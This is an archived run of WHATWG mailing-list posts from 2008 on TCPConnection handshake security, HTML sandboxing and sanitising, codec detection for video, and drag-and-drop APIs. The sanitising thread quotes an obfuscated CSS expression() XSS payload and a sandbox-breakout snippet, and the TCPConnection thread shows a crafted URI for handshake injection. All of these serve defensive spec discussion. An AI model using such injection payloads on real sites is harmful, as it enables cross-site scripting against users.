> > ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>
> I understand the reasoning but I do not believe this should be limited 
> to ports 80 and 443.

You misunderstand; it's not the ports that are limited, it's just that the 
traffic can now pass for HTTP. This would all still work over any 
arbitrary port.


> > HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is 
> > going to send back the appropriate handshake response.
>
> It is always possible that non-http services are running on port 80. One
> logical reason would be as a workaround for strict firewalls. So the main
> defense against abuse is not the port number but the handshake.

Indeed, we would need to very carefully define exactly what the server 
must send back, much like in the original protocol -- it would just look a 
lot more like HTTP. This would include at least one custom header or value 
that you wouldn't see elsewhere (e.g. the Upgrade: header with the magic 
value).


> Since the script author can also inject URIs into the handshake this 
> becomes a potential flaw.

Indeed, we'd have to throw if the URI wasn't a valid URI (e.g. if it 
included newlines).


> One last thing. Does anybody know how async communication would affect 
> common proxies (forward and reverse)? I imagine they can handle large 
> amounts of POST data but how do they feel about a forcibly held-open 
> by-directional communication that never calls POST or GET?

That's basically what TLS is, right? The simple solution would be to just 
tunnel everything through TLS when you hit an uncooperative proxy.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From shannon at arc.net.au  Tue Jun 17 23:23:55 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 16:23:55 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>
Message-ID: <4858A9FB.2070600@arc.net.au>

Ian Hickson wrote:
> On Wed, 18 Jun 2008, Shannon wrote:
>   
>>> ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>>>       
>> I understand the reasoning but I do not believe this should be limited 
>> to ports 80 and 443.
>>     
>
> You misunderstand; it's not the ports that are limited, it's just that the 
> traffic can now pass for HTTP. This would all still work over any 
> arbitrary port.
>
>
>   
The current draft for TCPConnection is quite clear about this. The 
unclear part is what a "Security Exception" is (currently undefined).

------------ WHATWG HTML5 Draft -- 
http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html 
-- Section 6.3.4  ------
If either:

    * the target host is not a valid host name, or
    * the port argument is neither equal to 80, nor equal to 443, nor 
greater than or equal to 1024 and less than or equal to 65535,

...then the UA must raise a security exception.
------------

>>> HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is 
>>> going to send back the appropriate handshake response.
>>>       
>> It is always possible that non-http services are running on port 80. One
>> logical reason would be as a workaround for strict firewalls. So the main
>> defense against abuse is not the port number but the handshake.
>>     
>
> Indeed, we would need to very carefully define exactly what the server 
> must send back, much like in the original protocol -- it would just look a 
> lot more like HTTP. This would include at least one custom header or value 
> that you wouldn't see elsewhere (e.g. the Upgrade: header with the magic 
> value).
>   
>> Since the script author can also inject URIs into the handshake this 
>> becomes a potential flaw.
>>     
>
> Indeed, we'd have to throw if the URI wasn't a valid URI (e.g. if it 
> included newlines).
>
>   

I agree. Since the aim of  the URI injection is to get an echo of a 
valid header it is important that the server response include illegal 
URI components that a server would not otherwise send. Newline could be 
part of a legitimate response from a confused server or one that echos 
commands automatically, eg:

tcp = new 
TCPConnection('http://mail.domain.ext/Upgrade:TCPConnection/1.0' )

server>>
Upgrade:TCPConnection/1.0
Error: Unrecognized command.

Unlike my previous example this is a perfectly valid URI. Whatever the 
magic ends up being it should aim to include illegal URI characters, ie: 
angle-brackets, white-space, control characters, etc.. in an arrangement 
that couldn't happen accidentally or through clever tricks. ie:

Magic: <tcp allow>\r\n

This example magic includes at least three characters that cannot be 
sent in a valid URI (space, left angle bracket, right angle-bracket) in 
addition to the newline and carriage returns.


>> One last thing. Does anybody know how async communication would affect 
>> common proxies (forward and reverse)? I imagine they can handle large 
>> amounts of POST data but how do they feel about a forcibly held-open 
>> by-directional communication that never calls POST or GET?
>>     
>
> That's basically what TLS is, right? The simple solution would be to just 
> tunnel everything through TLS when you hit an uncooperative proxy.
>
>   

Not with a few lines of perl you don't.

Shannnon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/c1184f2f/attachment-0001.htm>

From mikko.rantalainen at peda.net  Wed Jun 18 00:19:51 2008
From: mikko.rantalainen at peda.net (Mikko Rantalainen)
Date: Wed, 18 Jun 2008 10:19:51 +0300
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>	<48581A74.4030707@lachy.id.au>
	<31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
Message-ID: <4858B717.3030509@peda.net>

Frode B?rli wrote:
>>> I have been reading up on past discussions on sandboxing content, and
>>>
>>> My main arguments for having this feature (in one form or another) in
>>> the browser is:
>>>
>>> - It is future proof. Changes to browsers (for example adding
>>> expression support to css) will never again require old sanitizers to
>>> be updated.

Unless some braindead vendor is going to add scripting-in-sandboxing
feature which would be equally braindead to unlimited expression support
in css. You cannot be future proof unless you trust all the players
including ALL possible browser vendors.

>> If the sanitiser uses a whitelist based approach that forbids everything by
>> default, and then only allows known elements and attributes; and in the case
>> of the style attribute, known properties and values that are safe, then that
>> would also be the case.
> 
> I have written a sanitizer for html and it is very difficult -
> especially since browsers have undocumented bugs in their parsing.
> 
> Example: <div colspan=&amp;
> style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
> colspan=&amp;>Red</div>

Every real sanitizer MUST parse the input and generate its internal DOM.
If you then generate known good serialization of that DOM there's no way
your sanitizer would ever output such code. I, too, have written my own
simplified HTML parser that converts all unknown parts to data (that is,
escape all the following characters: "<>&'). Just parse the input into
DOM and only after that check if for safe content.

You cannot sanitize HTML using only string replacements without
generating a DOM (all of DOM is not needed in the memory at once, it's
possible to process the input as a stream and handle one tag at a time
and only keep a stack of open tag names in addition).

> The proof that sanitazing HTML is difficult is the fact that no major
> site even attempts it. Even wikipedia use some obscure wiki-language,
> instead of implementing a wysiwyg editor.

Wikipedia does sanitize HTML in the content. It does support its own
wiki-language in addition to HTML. For example, Try to input the
following text as is in the wikipedia sandbox page and press "Show preview":

***
>
> Example: <div colspan=&amp;
> style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
> colspan=&amp;>Red</div>

Some <b>more</b> content <i>here</i>.
***

Works just fine. The content is sanitized and unregognized parts are
converted to data. Correctly written parts are used as HTML tags.

Trust me, it's really not that hard. The hard part is to decide which
tags and which attributes and which attribute values do you want to
allow. And you have to decide that by yourself - there's no magic silver
bullet safe feature set that is suitable for every usage and for every site.

If you don't want to go through all this trouble, do not try to allow
HTML or any other markup in user generated content unless you *really*
trust your users.

>> Note that sandboxing doesn't entirely remove the need for sanitising user
>> generated content on the server, it's just an extra line of defence in case
>> something slips through.
> 
> Ofcourse. However, the sandbox feature in browser will be fail safe if
> user generated content is escaped with &lt; and &gt; before being sent
> to the browser - as long as the browser does not have bugs of course.

That's a pretty big "if". If the page author / server application
programmer is always able to escape content correctly, how much harder
is it to correctly escape and sanitize the content in anyway?

All this sounds too much like magic_quotes in PHP...

>>> A problem with this approach is that developers might forget to escape
>>> tags, therefore I think browsers should display a security warning
>>> message if the character < or > is encountered inside a <data> tag.
>> If a developer forgot to escape the markup at all, then a user could enter
>> "</data><script>...</script>" and do anything they wanted.
> 
> Yes, that is my point. That is why I want the sandbox to display a
> severe security warning if the developer has forgotten to escape it.

Isn't that a bit too late? If the developer is not testing his
application before the release what's the point of breaking the whole
site in the user's browser as a result? It will not guard against XSS
because the user generated content can be *first* used to end the
sandbox and *then* user to insert XSS attack. Browser sees only valid
content in the sandbox and site is still under XSS attack.

> This method will be safe for all browsers that has ever existed and
> that will ever exist in the future. If new features are introduced in
> some future version of CSS or HTML - the sandbox is still there and
> the applications created today does not need to have their sanitizers
> updated, ever.

That's a pretty bold claim! I guess that a similar claim could have been
said about CSS support before Microsoft added the "expression()" value
syntax.

Can *you* guarantee that a random browser vendor does not implement
anything stupid for the sandbox content in the future?

-- 
Mikko

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 254 bytes
Desc: OpenPGP digital signature
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/770cdc44/attachment-0001.pgp>

From giecrilj at stegny.2a.pl  Wed Jun 18 00:59:25 2008
From: giecrilj at stegny.2a.pl (=?ISO-8859-1?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 09:59:25 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <4858B717.3030509@peda.net>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>	<48581A74.4030707@lachy.id.au><31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
	<4858B717.3030509@peda.net>
Message-ID: <93FC0A4E53F945F5B5D0A5753DB8372A@POCZTOWIEC>

Let?s sort things out, folks.  There is nothing in the spec to prevent a
browser vendor to format the user?s hard drive and to drain her bank account
as a bonus when the page displayed contains the string "D357R0Y!N0\V!".  The
spec does not tell the vendors what not to do, therefore it cannot guarantee
anything in this respect.  The spec provides a reference implementation and
it is our job not to let harmful extensions in here; what happens in the
wild is beyond our control.
IMHO,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Mikko Rantalainen
Sent: Wednesday, June 18, 2008 9:20 AM
To: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

Frode B?rli wrote:
>>> I have been reading up on past discussions on sandboxing content, and
>>>
>>> My main arguments for having this feature (in one form or another) in
>>> the browser is:
>>>
>>> - It is future proof. Changes to browsers (for example adding
>>> expression support to css) will never again require old sanitizers to
>>> be updated.

Unless some braindead vendor is going to add scripting-in-sandboxing
feature which would be equally braindead to unlimited expression support
in css. You cannot be future proof unless you trust all the players
including ALL possible browser vendors.

[snip]

> This method will be safe for all browsers that has ever existed and
> that will ever exist in the future. If new features are introduced in
> some future version of CSS or HTML - the sandbox is still there and
> the applications created today does not need to have their sanitizers
> updated, ever.

That's a pretty bold claim! I guess that a similar claim could have been
said about CSS support before Microsoft added the "expression()" value
syntax.

Can *you* guarantee that a random browser vendor does not implement
anything stupid for the sandbox content in the future?

-- 
Mikko




From j at oil21.org  Wed Jun 18 03:01:13 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 12:01:13 +0200
Subject: [whatwg] Javascript API to query supported codecs for <video> and
	<audio>
Message-ID: <1213783273.13118.29.camel@BlackBook>

Hi,

as it looks like there will not be a common base codec any time soon,
there is a need to be able to detect the supported codecs in javascript.
are there any plans to provide such an interface or is this already
possible?

j



From annevk at opera.com  Wed Jun 18 03:03:56 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 18 Jun 2008 12:03:56 +0200
Subject: [whatwg] Javascript API to query supported codecs for <video>
	and <audio>
In-Reply-To: <1213783273.13118.29.camel@BlackBook>
References: <1213783273.13118.29.camel@BlackBook>
Message-ID: <op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>

On Wed, 18 Jun 2008 12:01:13 +0200, <j at oil21.org> wrote:
> as it looks like there will not be a common base codec any time soon,
> there is a need to be able to detect the supported codecs in javascript.
> are there any plans to provide such an interface or is this already
> possible?

Why is that needed? The elements provide a way to link to multiple codecs  
of which the user agent will then make a choice.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From j at oil21.org  Wed Jun 18 03:18:27 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 12:18:27 +0200
Subject: [whatwg] Javascript API to query supported codecs for
	<video>	and <audio>
In-Reply-To: <op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <1213784307.13118.41.camel@BlackBook>

?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> Why is that needed? The elements provide a way to link to multiple codecs  
> of which the user agent will then make a choice.
i do not intend to provide multiple codecs since that would require
multiple backend implementations for playing files form an offset,
encoding files in multiple codecs on the server, more disk space etc,

instead i would only use the <video> tag if the codec i use is supported
and fall back to other means via <object> / java / flash or whatever to
playback the video or indicate that the user has to install a
qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
can use <img> now and be done with it, but since this is not the case we
need tools to make the best out of <video>, not knowing what the browser
supports and just hoping that it could work is not an option.

j




From philipj at opera.com  Wed Jun 18 03:34:17 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 18 Jun 2008 17:34:17 +0700
Subject: [whatwg] Javascript API to query supported codecs
	for	<video>	and <audio>
In-Reply-To: <1213784307.13118.41.camel@BlackBook>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
Message-ID: <1213785258.17183.80.camel@localhost>

It seems to me that it's a good idea to wait with this until we know
more about what will happen with baseline codecs etc.
Implementation-wise it might be less than trivial to return an
exhaustive list of all supported mime-types if the underlying framework
doesn't use the concept of mime-types, but can say when given a few
bytes of the file whether it supports it or not. Allowing JavaScript to
second-guess this doesn't seem great 

On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
> ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> > Why is that needed? The elements provide a way to link to multiple codecs  
> > of which the user agent will then make a choice.
> i do not intend to provide multiple codecs since that would require
> multiple backend implementations for playing files form an offset,
> encoding files in multiple codecs on the server, more disk space etc,
> 
> instead i would only use the <video> tag if the codec i use is supported
> and fall back to other means via <object> / java / flash or whatever to
> playback the video or indicate that the user has to install a
> qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
> can use <img> now and be done with it, but since this is not the case we
> need tools to make the best out of <video>, not knowing what the browser
> supports and just hoping that it could work is not an option.
> 
> j
> 
> 
-- 
Philip J?genstedt
Opera Software



From frode at seria.no  Wed Jun 18 03:34:46 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 12:34:46 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48588ABF.1010006@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
Message-ID: <31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>

> without informing the user. This would allow a popular page (say a facebook
> profile or banner ad) to perform massive DOS against web servers using
> visitors browsers without any noticeable feedback (though I guess this is
> also true of current HTTPXMLRequestObjects).

XMLHttpRequest only allows connections to the origin server ip of the
script that created the object. If a TCPConnection is supposed to be
able to connect to other services, then some sort of mechanism must be
implemented so that the targeted web server must perform some sort of
approval. The method of approval must be engineered in such a way that
approval process itself cannot be the target of the dos attack. I can
imagine something implemented on the DNS servers and then some digital
signing of the script using public/private key certificates.

>  I propose that there be requirements that limit the amount and type of data
> a client can send before receiving a valid server response.

If the client must send information trough the TCPConnection
initially, then we effectively stop existing servers such as
IRC-servers from being able to accept connections without needing a
rewrite.

>  There should also be a recommendation that UAs display some form of status
> feedback to indicate a background connection is occurring.
Agree.

> > HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is
> going
> > to send back the appropriate handshake response.

If TCPConnection is limited to connect only to the origin server, or
servers validated by certificates, then this will never be a problem.
If we take active measures against STMP, then we should do the same
against POP3, IMAP etc as well.

>  It is always possible that non-http services are running on port 80. One
> logical reason would be as a workaround for strict firewalls. So the main
> defense against abuse is not the port number but the handshake. The original
> TCP Connection spec required the client to send only "Hello\n" and the
> server to send only "Welcome\n". The new proposal complicates things since
> the server/proxy could send any valid HTTP headers and it would be up to the
> UA to determine their validity. Since the script author can also inject URIs
> into the handshake this becomes a potential flaw. Consider the code:

The protocol should not require any data (not even hello - it should
function as an ordinary TCPConnection similar to implementations in
java, c# or any other major programming language. If not, it should be
called something else - as it is not a TCP connection.


From philipj at opera.com  Wed Jun 18 03:38:39 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 18 Jun 2008 17:38:39 +0700
Subject: [whatwg] Javascript API to query supported
	codecs	for	<video>	and <audio>
In-Reply-To: <1213785258.17183.80.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
Message-ID: <1213785519.17183.84.camel@localhost>

Sorry, my reply was cut short. Again:

?It seems to me that it's a good idea to wait with this until we know
more about what will happen with baseline codecs etc.
Implementation-wise it might be less than trivial to return an
exhaustive list of all supported mime-types if the underlying framework
doesn't use the concept of mime-types, but can say when given a few
bytes of the file whether it supports it or not. Allowing JavaScript to
second-guess this seems like a potential source of incompatibility.
Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
content when that happens?

Philip

On Wed, 2008-06-18 at 17:34 +0700, Philip J?genstedt wrote:
> It seems to me that it's a good idea to wait with this until we know
> more about what will happen with baseline codecs etc.
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this doesn't seem great 
> 
> On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
> > ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> > > Why is that needed? The elements provide a way to link to multiple codecs  
> > > of which the user agent will then make a choice.
> > i do not intend to provide multiple codecs since that would require
> > multiple backend implementations for playing files form an offset,
> > encoding files in multiple codecs on the server, more disk space etc,
> > 
> > instead i would only use the <video> tag if the codec i use is supported
> > and fall back to other means via <object> / java / flash or whatever to
> > playback the video or indicate that the user has to install a
> > qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
> > can use <img> now and be done with it, but since this is not the case we
> > need tools to make the best out of <video>, not knowing what the browser
> > supports and just hoping that it could work is not an option.
> > 
> > j
> > 
> > 
-- 
Philip J?genstedt
Opera Software



From joao.eiras at gmail.com  Wed Jun 18 03:57:51 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Wed, 18 Jun 2008 11:57:51 +0100
Subject: [whatwg] Javascript API to query supported codecs for <video>
	and <audio>
In-Reply-To: <1213785519.17183.84.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
	<1213785519.17183.84.camel@localhost>
Message-ID: <e72b1b360806180357j2b49b194pcd25c204e14021ce@mail.gmail.com>

The spec clearly says the following
http://www.whatwg.org/specs/web-apps/current-work/#video1
"User agents should not show this content to the user; it is intended
for older Web browsers which do not support video,"

Although we fully understand the reasoning behind this, there's an use
case missing.
The user agent may support video but might not support the file format.
So in this case, <video> should do fallback, because:
a) <video> tags are markup and therefore its error handling is not
available to scripts
b) the author may not want to use scripts, or may want to make the
page fully usable with scripting
c) it's a predictable scenario without any written solution


2008/6/18 Philip J?genstedt <philipj at opera.com>:
> Sorry, my reply was cut short. Again:
>
> ?It seems to me that it's a good idea to wait with this until we know
> more about what will happen with baseline codecs etc.
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this seems like a potential source of incompatibility.
> Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
> content when that happens?
>
> Philip
>
> On Wed, 2008-06-18 at 17:34 +0700, Philip J?genstedt wrote:
>> It seems to me that it's a good idea to wait with this until we know
>> more about what will happen with baseline codecs etc.
>> Implementation-wise it might be less than trivial to return an
>> exhaustive list of all supported mime-types if the underlying framework
>> doesn't use the concept of mime-types, but can say when given a few
>> bytes of the file whether it supports it or not. Allowing JavaScript to
>> second-guess this doesn't seem great
>>
>> On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
>> > ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote:
>> > > Why is that needed? The elements provide a way to link to multiple codecs
>> > > of which the user agent will then make a choice.
>> > i do not intend to provide multiple codecs since that would require
>> > multiple backend implementations for playing files form an offset,
>> > encoding files in multiple codecs on the server, more disk space etc,
>> >
>> > instead i would only use the <video> tag if the codec i use is supported
>> > and fall back to other means via <object> / java / flash or whatever to
>> > playback the video or indicate that the user has to install a
>> > qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
>> > can use <img> now and be done with it, but since this is not the case we
>> > need tools to make the best out of <video>, not knowing what the browser
>> > supports and just hoping that it could work is not an option.
>> >
>> > j
>> >
>> >
> --
> Philip J?genstedt
> Opera Software
>
>

From j at oil21.org  Wed Jun 18 04:10:37 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 13:10:37 +0200
Subject: [whatwg] Javascript API to query supported codecs for
	<video>	and <audio>
In-Reply-To: <1213785519.17183.84.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
	<1213785519.17183.84.camel@localhost>
Message-ID: <1213787437.7248.8.camel@BlackBook>

On Wed, 2008-06-18 at 17:38 +0700, Philip J?genstedt wrote:
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this seems like a potential source of incompatibility.
> Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
> content when that happens?
i imagined something that would use the ?type string used in <source>
so i can do:
 canDecode('video/mp4; codecs="avc1.42E01E, mp4a.40.2"')
?or
 canDecode('video/ogg; codecs="theora, vorbis"')

while waiting for ?MEDIA_ERR_DECODE might be an option,
it sounds to me that that would involve a network connection being made,
the video being buffered and after that the media engine failing, this
takes to long to make a presentation decision based on it.

j



From hsivonen at iki.fi  Wed Jun 18 04:46:15 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 14:46:15 +0300
Subject: [whatwg] Javascript API to query supported codecs
	for	<video>	and <audio>
In-Reply-To: <1213785258.17183.80.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
Message-ID: <659A0E32-0188-4EE3-8CF9-6F678E35C31E@iki.fi>

On Jun 18, 2008, at 13:34, Philip J?genstedt wrote:

> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying  
> framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not


Are MIME types the right way of identification in HTML5 if the well- 
known frameworks use something other than MIME types?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From hsivonen at iki.fi  Wed Jun 18 05:07:00 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 15:07:00 +0300
Subject: [whatwg] vtab as an NCR expansion
Message-ID: <451CA8D0-E5C8-49BC-9096-6AC188BD88AA@iki.fi>

Is it intentional that the vtab change didn't cause a change to vtab  
treatment when expanding NCRs?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From shannon at arc.net.au  Wed Jun 18 05:50:00 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 22:50:00 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>	
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
Message-ID: <48590478.6000403@arc.net.au>

Frode B?rli wrote:
>
> XMLHttpRequest only allows connections to the origin server ip of the
> script that created the object. If a TCPConnection is supposed to be
> able to connect to other services, then some sort of mechanism must be
> implemented so that the targeted web server must perform some sort of
> approval. The method of approval must be engineered in such a way that
> approval process itself cannot be the target of the dos attack. I can
> imagine something implemented on the DNS servers and then some digital
> signing of the script using public/private key certificates.
>
>   
Using DNS is an excellent idea, though I would debate whether the 
certificate is needed in addition the DNS record. Perhaps the DNS record 
could simply list domains authorised to provide scripted access. The 
distributed nature and general robustness of DNS servers provides the 
most solid protection against denial of service and brute-force cracking 
which are the primary concerns here. Access-control should probably be 
handled by the hosts usual firewall and authentication methods which is 
trivial once the unauthorised redirect issue is dealt with.

The biggest issue I see is that most UAs are probably not wired to read 
DNS records directly. This means adding DNS access and parsing libraries 
for this one feature. Having said that I can see a whole range of 
security issues that could be addressed by DNS access so maybe this is 
something that HTML5 could address as a more general feature. One 
feature that comes to mind would be to advertise expected server outages 
or /.'ing via DNS so the UAs could tell the user "Hey, this site might 
not respond so maybe come back later".

It is worth considering allowing scripts to access devices without said 
DNS rules but with a big fat UA warning, requiring user approval. 
Something like "This site is attempting to access a remote service or 
device at the address 34.45.23.54:101 (POP3). This could be part of a 
legitimate service but may also be an attempt to perform a malicious 
task. If you do not trust this site you should say no here.". This would 
address the needs of private networks and home appliances that wish to 
utilise TCPConnection services without having the desire or ability to 
mess with DNS zone files.

>
> The protocol should not require any data (not even hello - it should
> function as an ordinary TCPConnection similar to implementations in
> java, c# or any other major programming language. If not, it should be
> called something else - as it is not a TCP connection.
>
>   
I agree completely. Just providing async HTTP is a weak use case 
compared to allowing client-side access to millions of existing 
(opted-in) services and gadgets.

Shannon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/5754064a/attachment-0001.htm>

From hsivonen at iki.fi  Wed Jun 18 06:39:39 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 16:39:39 +0300
Subject: [whatwg] Any "other" end tag in after head
Message-ID: <3FA51B37-2F60-43ED-AFEB-AA4C52D59D10@iki.fi>

After head talks about any "other" end tag, but has no definitions for  
end tags but "other". Is that intentional?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From enndeakin at gmail.com  Wed Jun 18 07:46:20 2008
From: enndeakin at gmail.com (Neil Deakin)
Date: Wed, 18 Jun 2008 10:46:20 -0400
Subject: [whatwg] more drag/drop feedback
Message-ID: <48591FBC.4080902@gmail.com>

The initDragEvent/initDragEvent methods take a DataTransfer as an 
argument. Is it expected that the DataTransfer to use here can be 
created with 'new DataTransfer'?

IE and Safari allow a no-argument form of clearData as well which clears 
all formats.

The description for the 'types' property implies that this should be a 
live list. Why?

The clearData, setData and getData methods should clarify what happens 
if an empty format is supplied.

I still don't understand the purpose of the addElement method. Either 
this should be removed or there should be clarification of the 
difference between addElement and setDragImage

Previously, I said that DragEvents should be UIEvents. I think they 
should instead inherit from MouseEvent.

We have a need to be able to support both dragging multiple items, as 
well as dragging non-string data, for instance dragging a set of files 
as a set of File objects (see http://www.w3.org/TR/file-upload/) from 
the file system onto a page.

For this, we would also like to propose methods like the following, 
which are analagous to the existing methods (where Variant is just any 
type of object):

/**
* The number of items being dragged.
*/
readonly attribute unsigned long itemCount;

/**
* Holds a list of the format types of the data that is stored for an item
* at the specified index. If the index is not in the range from 0 to
* itemCount - 1, an empty string list is returned.
*/
DOMStringList typesAt(in unsigned long index);

/**
* Remove the data associated with the given format for an item at the
* specified index. The index is in the range from zero to itemCount - 1.
*
* If the last format for the item is removed, the entire item is removed,
* reducing the itemCount by one.
*
* If format is empty, then the data associated with all formats is removed.
* If the format is not found, then this method has no effect.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater or equal than 
itemCount
*/
void clearDataAt(in DOMString format, in unsigned long index);

/*
* setDataAt may only be called with an index argument less than
* itemCount in which case an existing item is modified, or equal to
* itemCount in which case a new item is added, and the itemCount is
* incremented by one.
*
* Data should be added in order of preference, with the most specific
* format added first and the least specific format added last. If data of
* the given format already exists, it is replaced in the same position as
* the old data.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater than itemCount
*/
void setDataAt(in DOMString format, in Variant data, in unsigned long 
index);

/**
* Retrieve the data associated with the given format for an item at the
* specified index, or null if it does not exist. The index should be in the
* range from zero to itemCount - 1.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater or equal than 
itemCount
*/
Variant getDataAt(in DOMString format, in unsigned long index);



From foolistbar at googlemail.com  Wed Jun 18 09:46:28 2008
